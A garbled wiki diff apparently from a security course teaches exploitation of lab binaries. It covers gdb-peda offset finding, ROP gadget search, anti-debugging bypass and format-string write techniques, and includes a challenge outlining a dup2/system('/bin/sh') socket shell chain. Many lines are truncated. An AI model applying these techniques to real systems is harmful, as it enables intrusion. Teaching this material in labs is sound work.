- | Things can even get more complex: if you insert such patterns as input to the program you can search for signs of where it got placed using peda. Here's how to figure out the offset to the return address in 3 commands for the previous program as promised: | + | Now a format string |
- | <code bash> | + | The final check if the padding is below ten deserves some attention. A simple integer output, such as "%u" |
- | # gdb -q ./a | + | If the required length is larger than the padding we specify, say we want to output |
- | Reading symbols from ./a...(no debugging symbols found)...done. | + | By ensuring our padding is always larger than 10, we can keep an always accurate number of ‘already_written’, |
- | gdb-peda$ pattern_create 200 | + | |
- | 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A' | + | |
- | gdb-peda$ run | + | |
- | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A | + | |
- | + | ||
- | Program received signal SIGSEGV, Segmentation fault. | + | |
- | [----------------------------------registers-----------------------------------] | + | |
- | EAX: 0x0 | + | |
- | EBX: 0xf7f97e54 --> 0x1a6d5c | + | |
- | ECX: 0xffffcd49 (" | + | |
- | EDX: 0x64 ('d') | + | |
- | ESI: 0x0 | + | |
- | EDI: 0x0 | + | |
- | EBP: 0x41334141 (' | + | |
- | ESP: 0xffffcd70 ("eAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") | + | |
- | EIP: 0x41414541 ('AEAA') | + | |
- | EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) | + | |
- | [-------------------------------------code-------------------------------------] | + | |
- | Invalid $PC address: 0x41414541 | + | |
- | [------------------------------------stack-------------------------------------] | + | |
- | 0000| 0xffffcd70 ("eAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") | + | |
- | 0004| 0xffffcd74 (" | + | |
- | 0008| 0xffffcd78 (" | + | |
- | 0012| 0xffffcd7c (" | + | |
- | 0016| 0xffffcd80 (" | + | |
- | 0020| 0xffffcd84 (" | + | |
- | 0024| 0xffffcd88 (" | + | |
- | 0028| 0xffffcd8c (" | + | |
- | 0032| 0xffffcd90 (" | + | |
- | 0036| 0xffffcd94 (" | + | |
- | 0040| 0xffffcd98 (" | + | |
- | 0044| 0xffffcd9c (" | + | |
- | 0048| 0xffffcda0 (" | + | |
- | 0052| 0xffffcda4 (" | + | |
- | 0056| 0xffffcda8 (" | + | |
- | 0060| 0xffffcdac --> 0x6c (' | + | |
- | + | ||
- | [------------------------------------------------------------------------------] | + | |
- | Legend: code, data, rodata, value | + | |
- | Stopped reason: SIGSEGV | + | |
- | 0x41414541 | + | |
- | + | ||
- | + | ||
- | + | ||
- | gdb-peda$ pattern_search | + | |
- | Registers contain pattern buffer: | + | |
- | EIP+0 found at offset: 35 | + | |
- | EBP+0 found at offset: 31 | + | |
- | Registers point to pattern buffer: | + | |
- | [ECX] --> offset 0 - size ~100 | + | |
- | [ESP] --> offset 39 - size ~61 | + | |
- | Pattern buffer found at: | + | |
- | 0xffffcd49 : offset | + | |
- | 0xffffd1c6 : offset 23424 - size 4 ($sp + 0x456 [277 dwords]) | + | |
- | 0xffffd1d8 : offset 22930 - size 4 ($sp + 0x468 [282 dwords]) | + | |
- | 0xffffd276 : offset 48535 - size 4 ($sp + 0x506 [321 dwords]) | + | |
- | References to pattern buffer found at: | + | |
- | 0xffffcd20 : 0xffffcd49 ($sp + -0x50 [-20 dwords]) | + | |
- | 0xffffcd34 : 0xffffcd49 ($sp + -0x3c [-15 dwords]) | + | |
+ | ==== A general method to exploit format strings vulnerabilities ==== | ||
+ | The only remaining thing to exploit such vulnerabilities in a hands-on practical way is to put the arguments into the right order on the stack and use a stackpop sequence to increase the stack pointer. | ||
+ | It should look like: | ||
+ | < | ||
+ | < | ||
</ | </ | ||
+ | Where: | ||
+ | * **stackpop** The sequence of stack popping parameters that increase the stack pointer. Once the stackpop has been processed, the format function internal stack pointer points to the beginning of the dummy-addr-pair strings. | ||
+ | * **dummy-addr-pair** Four pairs of dummy integer values and addresses to write to. The addresses are increasing by one with each pair, the dummy integer value can be anything that does not contain NULL bytes. | ||
+ | * **write-code** The part of the format string that actually does the writing to the memory, by using ' | ||
- | + | The write code has to be modified to match the number of bytes written by the stackpop, since the stackpop wrote already characters to the output when the format function parses the write-code — the format function counter does not start at zero, and this has to be considered. | |
- | ==== Vulnerable function identification | + | ==== Direct Parameter Access ==== |
- | As you can see from above, the base pointer gets trashed so backtracing is not possible | + | There is a huge simplification which is known as ' |
- | < | + | method to format string exploitation. |
- | gdb-peda$ bt | + | The direct parameter access is controlled by the ' |
- | #0 0x41414541 in ?? () | + | < |
- | #1 0x34414165 in ?? () | + | printf |
- | #2 0x41464141 in ?? () | + | |
- | #3 | + | |
</ | </ | ||
- | If this program was larger you wouldn' | ||
- | You can set a breakpoint on all declared functions (if the program has not been stripped) using **rbreak** and then ignoring them: | ||
- | <code bash> | ||
- | gdb-peda$ rbreak | ||
- | Breakpoint 1 at 0x80482d4 | ||
- | < | ||
- | Breakpoint 2 at 0x8048310 | ||
- | < | ||
- | Breakpoint 3 at 0x8048320 | ||
- | < | ||
- | Breakpoint 4 at 0x8048330 | ||
- | < | ||
- | Breakpoint 5 at 0x8048340 | ||
- | < | ||
- | Breakpoint 6 at 0x8048370 | ||
- | < | ||
- | Breakpoint 7 at 0x804843f | ||
- | < | ||
- | Breakpoint 8 at 0x8048470 | ||
- | < | ||
- | Breakpoint 9 at 0x80484e0 | ||
- | < | ||
- | Breakpoint 10 at 0x80484e4 | ||
- | < | ||
- | |||
- | |||
- | gdb-peda$ commands | ||
- | Type commands for breakpoint(s) 1-10, one per line. | ||
- | End with a line saying just " | ||
- | > | ||
- | >end | ||
- | |||
- | |||
- | gdb-peda$ run | ||
- | Starting program: / | ||
- | warning: the debug information found in "/ | ||
- | |||
- | warning: Could not load shared library symbols for linux-gate.so.1. | ||
- | Do you need "set solib-search-path" | ||
- | |||
- | Breakpoint 4, 0x08048330 in __libc_start_main@plt () | ||
- | |||
- | Breakpoint 8, 0x08048470 in __libc_csu_init () | ||
- | |||
- | Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx () | ||
- | |||
- | Breakpoint 1, 0x080482d4 in _init () | ||
- | |||
- | Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx () | ||
- | |||
- | Breakpoint 7, 0x0804843f in main () | ||
- | |||
- | Breakpoint 2, 0x08048310 in read@plt () | ||
- | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7 | + | Prints ' |
- | Program received signal SIGSEGV, Segmentation fault. | + | <code C> |
- | 0x41414541 in ?? () | + | char foo[4]; |
+ | printf (" | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | 1, | ||
+ | | ||
+ | (int *) & | ||
</ | </ | ||
- | ==== ROP payload debugging | + | ==== Generalizing format string exploits ==== |
- | When you know what the offending function | + | The '' |
- | <code bash> | + | In general, any system where user input affects program execution |
- | gdb-peda$ pdis main | + | * SQL injections |
- | Dump of assembler code for function main: | + | |
- | 0x0804843c < | + | ===== Tasks ===== |
- | | + | |
- | | + | |
- | | + | |
- | 0x08048445 < | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | End of assembler dump. | + | |
- | gdb-peda$ b *0x08048467 | + | |
- | Breakpoint 1 at 0x8048467 | + | |
+ | ==== Stack Canaries ==== | ||
- | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA | + | Download the archive with the tasks at the top of the page. The binaries should be fairly easy to reverse engineer. You can use any tool. |
- | [----------------------------------registers-----------------------------------] | + | |
- | EAX: 0x0 | + | |
- | EBX: 0xf7f97e54 --> 0x1a6d5c | + | |
- | ECX: 0xffffcd49 (" | + | |
- | EDX: 0x64 (' | + | |
- | ESI: 0x0 | + | |
- | EDI: 0x0 | + | |
- | EBP: 0x41334141 (' | + | |
- | ESP: 0xffffcd6c (" | + | |
- | EIP: 0x8048467 (< | + | |
- | EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) | + | |
- | [-------------------------------------code-------------------------------------] | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | => 0x8048467 < | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | [------------------------------------stack-------------------------------------] | + | |
- | 0000| 0xffffcd6c --> 0xf7e333e0 (< | + | |
- | 0004| 0xffffcd70 --> 0x80484cf (< | + | |
- | 0008| 0xffffcd74 --> 0xf7f56be6 ("/ | + | |
- | 0012| 0xffffcd78 --> 0xf7e25c00 (< | + | |
+ | === Task 1 === | ||
- | gdb-peda$ patto AEAAeAA4AAFAAfA | + | The '' |
- | AEAAeAA4AAFAAfA found at offset: 35 | + | |
- | </ | + | |
- | Then you can break on all called functions or step as needed to see if the payload is doing what you want it to. | + | === Task 2 === |
+ | The '' | ||
- | ==== checksec in peda | + | <note warning> |
- | <code bash> | + | You need to use the 32 bit VM to solve the second part of this task. |
- | gdb-peda$ checksec | + | </note> |
- | CANARY | + | |
- | FORTIFY | + | |
- | NX : ENABLED | + | |
- | PIE : disabled | + | |
- | RELRO : Partial | + | |
- | </code> | + | |
+ | <note warning> | ||
+ | '' | ||
+ | </ | ||
- | ==== gadget finding in peda | + | <note tip>In case you need some help on these, please take a look at the {{:session:canaries_source.zip|source code}} |
- | Apart from **objdump** which only finds aligned instructions, | + | |
- | <code bash> | + | |
- | gdb-peda$ start | + | |
- | .... | + | |
- | gdb-peda$ dumprop | + | |
- | Warning: this can be very slow, do not run for large memory range | + | |
- | Writing ROP gadgets to file: a-rop.txt ... | + | |
- | 0x8048467: ret | + | |
- | 0x804835d: iret | + | |
- | 0x804838f: repz ret | + | |
- | 0x80483be: ret 0xeac1 | + | |
- | 0x80483a9: leave; ret | + | |
- | 0x80485b4: inc ecx; ret | + | |
- | 0x80484cf: pop ebp; ret | + | |
- | 0x80482f5: pop ebx; ret | + | |
- | 0x80484df: nop; repz ret | + | |
- | 0x80483a8: ror cl,1; ret | + | |
- | 0x804838e: add dh,bl; ret | + | |
- | 0x80483e5: ror cl,cl; ret | + | |
- | 0x8048465: add cl,cl; ret | + | |
- | 0x804840b: leave; repz ret | + | |
- | 0x8048371: sbb al,0x24; ret | + | |
- | 0x80485b3: adc al,0x41; ret | + | |
- | 0x8048370: mov ebx,[esp]; ret | + | |
- | 0x80484de: nop; nop; repz ret | + | |
- | 0x80483a7: call eax; leave; ret | + | |
- | 0x80483e4: call edx; leave; ret | + | |
- | 0x804840a: add ecx,ecx; repz ret | + | |
- | 0x80484ce: pop edi; pop ebp; ret | + | |
- | </code> | + | |
- | Something finer is: | ||
- | <code bash> | ||
- | gdb-peda$ asmsearch "pop ? ; ret" | ||
- | 0x080482f5 : (5bc3) pop | ||
- | 0x080484cf : (5dc3) pop | ||
- | 0x080484f6 : (5bc3) pop | ||
- | |||
- | gdb-peda$ asmsearch "pop ? ; pop ? ; ret" | ||
- | 0x080484ce : (5f5dc3) pop | ||
- | |||
- | gdb-peda$ asmsearch "call ?" | ||
- | 0x080483a7 : (ffd0) call | ||
- | 0x080483e4 : (ffd2) call | ||
- | 0x0804842f : (ffd0) call | ||
- | |||
- | </ | ||
- | |||
- | ==== Anti-anti-debugging and others | ||
- | There can be various annoyances in binaries: **ptrace** calls for anti-debugging, | ||
- | These can all be deactivated using **unptrace** (for ptrace) and **deactive** in peda. | ||
- | |||
- | |||
- | |||
- | == Challenges | ||
- | |||
- | === 1. Challenge - Gadget tutorial | ||
- | |||
- | This task requires you to construct a payload using gadgets and calling the functions inside such that it will print | ||
- | < | ||
- | Hello! | ||
- | stage A!stage B! | ||
- | </ | ||
- | Make it also print the messages in reverse order: | ||
- | < | ||
- | Hello! | ||
- | stage B!stage A! | ||
- | </ | ||
- | |||
- | |||
- | === 2. Challenge - Echo service | ||
- | This task is a network service that can be exploited. Run it locally and try to exploit it. You'll find that if you call system("/ | ||
- | |||
- | So you will need to do the equivalent of the following in a ROP chain: | ||
- | <code c> | ||
- | dup2(sockfd, | ||
- | dup2(sockfd, | ||
- | system("/ | ||
- | </ | ||
+ | ==== Task 3 - Format Strings ==== | ||
+ | Download the archive with the tasks at the top of the page containing 5 binaries exhibiting a format string vulnerability. Analyze what each binary does using the methods already familiar to you and try to determine the exact format string that will lead to the desired result. | ||
+ | <note important> | ||
+ | The difficulty of the task associated with each binary increases with the number of the binary. | ||
+ | </ | ||
+ | <note tip> | ||
+ | shows you the invalid address associated with a SIGSEGV signal. | ||
+ | </ | ||
- | Exploit it first with ASLR disabled and then enabled. |